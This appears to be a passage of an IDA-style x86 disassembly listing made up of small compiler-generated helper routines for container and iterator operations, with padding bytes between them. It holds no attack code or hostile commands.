sub_415A40	proc near		; CODE XREF: sub_40113Bj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		push	ecx
		lea	ecx, [esp+8+var_4]
		call	sub_401753
		mov	edx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], edx
		pop	ecx
		retn	4
sub_415A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415A80	proc near		; CODE XREF: sub_4016CCj

var_4		= byte ptr -4
arg_0		= dword	ptr  4

		push	ecx
		mov	eax, [ecx+4]
		lea	ecx, [esp+4+var_4]
		push	eax
		call	sub_401753
		mov	ecx, [eax]
		mov	eax, [esp+4+arg_0]
		mov	[eax], ecx
		pop	ecx
		retn	4
sub_415A80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415AB0	proc near		; CODE XREF: sub_40215Dj

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401C4E
		mov	edi, eax
		push	edi
		call	sub_401104
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401EBA
sub_415AB0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401104
		push	edi
		mov	[eax], ebx
		call	sub_401104
		mov	edi, [eax]
		push	edi
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_401EFB
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_402194
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401DA7
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415B50	proc near		; CODE XREF: sub_40172Bj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= byte ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	eax, [esp+4+arg_8]
		lea	ecx, [esp+4+arg_4]
		push	eax
		call	sub_401CA8
		test	al, al
		jz	short loc_415B9D
		push	edi
		mov	edi, [esp+8+arg_0]


loc_415B6A:				; CODE XREF: sub_415B50+4Aj
		lea	ecx, [esp+8+arg_4]
		call	sub_401A4B
		push	eax
		lea	ecx, [esp+0Ch+arg_0]
		push	edi
		push	ecx
		mov	ecx, esi
		call	sub_40215D
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8+arg_4]
		call	sub_4020EF
		lea	edx, [esp+8+arg_8]
		lea	ecx, [esp+8+arg_4]
		push	edx
		call	sub_401CA8
		test	al, al
		jnz	short loc_415B6A
		pop	edi


loc_415B9D:				; CODE XREF: sub_415B50+13j
		pop	esi
		retn	0Ch
sub_415B50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415BD0	proc near		; CODE XREF: sub_401FAFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_40156E
		mov	ecx, eax
		call	sub_401C4E
		mov	esi, eax
		push	esi
		call	sub_40208B
		push	esi
		mov	ebx, eax
		call	sub_401104
		mov	ecx, [eax]
		push	ecx
		call	sub_40208B
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401104
		push	esi
		mov	ebx, eax
		call	sub_40208B
		mov	eax, [eax]
		push	eax
		call	sub_401104
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_401EFB
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4014F6
		push	esi
		mov	ecx, edi
		call	sub_401CD5
sub_415BD0	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415C90	proc near		; CODE XREF: sub_401465j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jz	short loc_415CEA


loc_415CA8:				; CODE XREF: sub_415C90+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_40156E
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401FAF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401D5C
		test	al, al
		jnz	short loc_415CA8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_415CEA:				; CODE XREF: sub_415C90+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415C90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D20	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4020D6
sub_415D20	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_415D35
		mov	edi, esi


loc_415D35:				; CODE XREF: ___:00415D31j
		push	esi
		call	sub_40208B
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_415D4A
		mov	edi, esi


loc_415D4A:				; CODE XREF: ___:00415D46j
		push	esi
		call	sub_401104
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415D70	proc near		; CODE XREF: sub_401CD5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401E01
sub_415D70	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415D90	proc near		; CODE XREF: sub_40208Bj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_415D90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DB0	proc near		; CODE XREF: sub_401EFBj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_415DB0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DD0	proc near		; CODE XREF: sub_401EB5j
		mov	eax, ecx
		retn
sub_415DD0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415DF0	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401753
		mov	eax, esi
		pop	esi
		retn	4
sub_415DF0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E20	proc near		; CODE XREF: sub_40156Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4020A4
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_415E20	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415E50	proc near		; CODE XREF: sub_4015CDj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_415E50	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415E80	proc near		; CODE XREF: sub_401A96j

arg_4		= byte ptr  8

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_401F6E
		mov	edi, eax
		push	edi
		call	sub_401163
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401C7B
sub_415E80	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_401163
		push	edi
		mov	[eax], ebx
		call	sub_401163
		mov	edi, [eax]
		push	edi
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_402126
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_4015E6
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401CC6
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_415F20	proc near		; CODE XREF: sub_4017DFj

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_4010DC
		mov	ecx, eax
		call	sub_401F6E
		mov	esi, eax
		push	esi
		call	sub_401249
		push	esi
		mov	ebx, eax
		call	sub_401163
		mov	ecx, [eax]
		push	ecx
		call	sub_401249
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_401163
		push	esi
		mov	ebx, eax
		call	sub_401249
		mov	eax, [eax]
		push	eax
		call	sub_401163
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_402126
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_401D4D
		push	esi
		mov	ecx, edi
		call	sub_401E1A
sub_415F20	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_415FE0	proc near		; CODE XREF: sub_40132Fj

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jz	short loc_41603A


loc_415FF8:				; CODE XREF: sub_415FE0+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_4010DC
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4017DF
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401AD7
		test	al, al
		jnz	short loc_415FF8
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41603A:				; CODE XREF: sub_415FE0+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_415FE0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416070	proc near		; CODE XREF: sub_401C7Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_4015A5
sub_416070	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_416085
		mov	edi, esi


loc_416085:				; CODE XREF: ___:00416081j
		push	esi
		call	sub_401249
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_41609A
		mov	edi, esi


loc_41609A:				; CODE XREF: ___:00416096j
		push	esi
		call	sub_401163
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4160C0	proc near		; CODE XREF: sub_401E1Aj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_4010D7
sub_4160C0	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4160E0	proc near		; CODE XREF: sub_401249j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_4160E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416100	proc near		; CODE XREF: sub_402126j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416100	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416120	proc near		; CODE XREF: sub_401E79j
		mov	eax, ecx
		retn
sub_416120	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416140	proc near		; CODE XREF: sub_401CC6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_401357
		mov	eax, esi
		pop	esi
		retn	4
sub_416140	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416170	proc near		; CODE XREF: sub_4010DCj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_4018B6
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_416170	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4161A0	proc near		; CODE XREF: sub_401EA6j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4161A0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4161D0	proc near		; CODE XREF: sub_401CFDj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+0Ch+arg_4]
		call	sub_4012CB
		mov	edi, eax
		push	edi
		call	sub_4017D5
		mov	eax, [eax]
		add	esp, 4
		mov	ecx, esi
		push	eax
		push	edi
		call	sub_401DA2
sub_4161D0	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	ebx, eax
		call	sub_4017D5
		push	edi
		mov	[eax], ebx
		call	sub_4017D5
		mov	edi, [eax]
		push	edi
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[eax], edi
		push	edx
		push	edi
		call	sub_4017DA
		add	esp, 4
		mov	ecx, esi
		push	eax
		call	sub_401DFC
		mov	ecx, [esi+8]
		push	edi
		inc	ecx
		mov	[esi+8], ecx
		lea	ecx, [esp+1Ch]
		call	sub_401D66
		mov	ecx, [eax]
		mov	eax, [esp+10h]
		pop	edi
		pop	esi
		mov	[eax], ecx
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416270	proc near		; CODE XREF: sub_401078j

var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		lea	eax, [esp+10h+var_4]
		push	0
		push	eax
		lea	ecx, [esp+18h+arg_4]
		call	sub_401EA1
		mov	ecx, eax
		call	sub_4012CB
		mov	esi, eax
		push	esi
		call	sub_401BB8
		push	esi
		mov	ebx, eax
		call	sub_4017D5
		mov	ecx, [eax]
		push	ecx
		call	sub_401BB8
		mov	edx, [ebx]
		push	esi
		mov	[eax], edx
		call	sub_4017D5
		push	esi
		mov	ebx, eax
		call	sub_401BB8
		mov	eax, [eax]
		push	eax
		call	sub_4017D5
		mov	ecx, [ebx]
		push	esi
		mov	[eax], ecx
		call	sub_4017DA
		add	esp, 1Ch
		mov	ecx, edi
		push	eax
		call	sub_4013F7
		push	esi
		mov	ecx, edi
		call	sub_401EF6
sub_416270	endp

; ---------------------------------------------------------------------------
		mov	eax, [edi+8]
		mov	edx, [esp+18h]
		dec	eax
		mov	[edi+8], eax
		mov	eax, [esp+14h]
		pop	edi
		pop	esi
		mov	[eax], edx
		pop	ebx
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416330	proc near		; CODE XREF: sub_401401j

var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 8
		lea	eax, [esp+8+arg_8]
		push	esi
		mov	esi, ecx
		push	eax
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jz	short loc_41638A


loc_416348:				; CODE XREF: sub_416330+47j
		lea	ecx, [esp+0Ch+var_8]
		push	0
		push	ecx
		lea	ecx, [esp+14h+arg_4]
		call	sub_401EA1
		mov	edx, [eax]
		lea	eax, [esp+0Ch+var_4]
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_401078
; ---------------------------------------------------------------------------
		lea	ecx, [esp+0Ch+arg_8]
		push	ecx
		lea	ecx, [esp+10h+arg_4]
		call	sub_401339
		test	al, al
		jnz	short loc_416348
		mov	eax, [esp+0Ch+arg_0]
		mov	edx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], edx
		add	esp, 8
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41638A:				; CODE XREF: sub_416330+16j
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esp+0Ch+arg_4]
		pop	esi
		mov	[eax], ecx
		add	esp, 8
		retn	0Ch
sub_416330	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4163C0	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		push	0Ch
		call	sub_401E9C
sub_4163C0	endp

; ---------------------------------------------------------------------------
		mov	edi, [esp+0Ch]
		mov	esi, eax
		test	edi, edi
		jnz	short loc_4163D5
		mov	edi, esi


loc_4163D5:				; CODE XREF: ___:004163D1j
		push	esi
		call	sub_401BB8
		mov	[eax], edi
		mov	edi, [esp+14h]
		add	esp, 4
		test	edi, edi
		jnz	short loc_4163EA
		mov	edi, esi


loc_4163EA:				; CODE XREF: ___:004163E6j
		push	esi
		call	sub_4017D5
		add	esp, 4
		mov	[eax], edi
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416410	proc near		; CODE XREF: sub_401EF6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	1
		push	eax
		call	sub_401857
sub_416410	endp

; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416430	proc near		; CODE XREF: sub_401BB8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		retn
sub_416430	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416450	proc near		; CODE XREF: sub_4017DAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 8
		retn
sub_416450	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416470	proc near		; CODE XREF: sub_401E29j
		mov	eax, ecx
		retn
sub_416470	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416490	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40160E
		mov	eax, esi
		pop	esi
		retn	4
sub_416490	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164C0	proc near		; CODE XREF: sub_401EA1j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [ecx]
		call	sub_40118B
		mov	eax, [esp+4+arg_0]
		mov	[eax], esi
		pop	esi
		retn	8
sub_4164C0	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4164F0	proc near		; CODE XREF: sub_40144Cj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4164F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416520	proc near		; CODE XREF: sub_401104j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_416520	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416540	proc near		; CODE XREF: sub_4020D6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_416540	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416570	proc near		; CODE XREF: sub_401E01j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436882
sub_416570	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416590	proc near		; CODE XREF: sub_402194j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_40125D
		add	esp, 8
		retn	8
sub_416590	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165C0	proc near		; CODE XREF: sub_4014F6j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_6
		pop	ecx
		retn	4
sub_4165C0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4165E0	proc near		; CODE XREF: sub_401753j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4165E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416600	proc near		; CODE XREF: sub_401A4Bj
		mov	eax, [ecx]
		push	eax
		call	sub_401EFB
		add	esp, 4
		retn
sub_416600	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416620	proc near		; CODE XREF: sub_4020EFj
		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		push	eax
		call	sub_40208B
		mov	ecx, [eax]
		add	esp, 4
		mov	[esi], ecx
		mov	eax, esi
		pop	esi
		retn
sub_416620	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416650	proc near		; CODE XREF: sub_401CA8j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_401E56
		neg	al
		sbb	eax, eax
		inc	eax
		retn	4
sub_416650	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416680	proc near		; CODE XREF: sub_401C4Ej
		mov	eax, [ecx]
		retn
sub_416680	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4166A0	proc near		; CODE XREF: sub_401163j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4166A0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4166C0	proc near		; CODE XREF: sub_4015A5j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D16
sub_4166C0	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4166F0	proc near		; CODE XREF: sub_4010D7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_436882
sub_4166F0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416710	proc near		; CODE XREF: sub_4015E6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_402040
		add	esp, 8
		retn	8
sub_416710	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416740	proc near		; CODE XREF: sub_401D4Dj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416740	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416760	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_416760	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416780	proc near		; CODE XREF: sub_401F6Ej
		mov	eax, [ecx]
